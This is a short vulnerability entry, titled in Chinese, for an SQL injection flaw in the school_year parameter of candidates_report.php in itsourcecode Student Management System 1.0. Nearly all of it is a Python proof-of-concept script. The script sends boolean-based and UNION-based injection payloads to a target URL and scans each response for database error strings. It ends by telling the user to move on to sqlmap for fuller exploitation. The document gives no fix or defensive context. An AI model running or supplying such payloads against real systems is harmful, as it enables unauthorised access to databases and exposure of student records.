CVE-2025-14967 itsourcecode学生管理系统 candidates_report.php SQL注入漏洞

# CVE-2025-14967 SQL Injection PoC # Target: itsourcecode Student Management System 1.0 # Endpoint: /candidates_report.php # Vulnerable Parameter: school_year import requests import sys target_url = "http://target.com/candidates_report.php" # Basic SQL Injection PoC - Boolean Based payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3-- -", "1' AND 1=1-- -", "1' AND 1=2-- -" ] def test_sql_injection(): print(f"[*] Testing CVE-2025-14967 SQL Injection on {target_url}") for payload in payloads: params = { 'school_year': payload } try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower() or 'mysql' in response.text.lower(): print(f" [!] Potential SQL error detected!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Testing complete. Use sqlmap for detailed exploitation.") if __name__ == "__main__": test_sql_injection()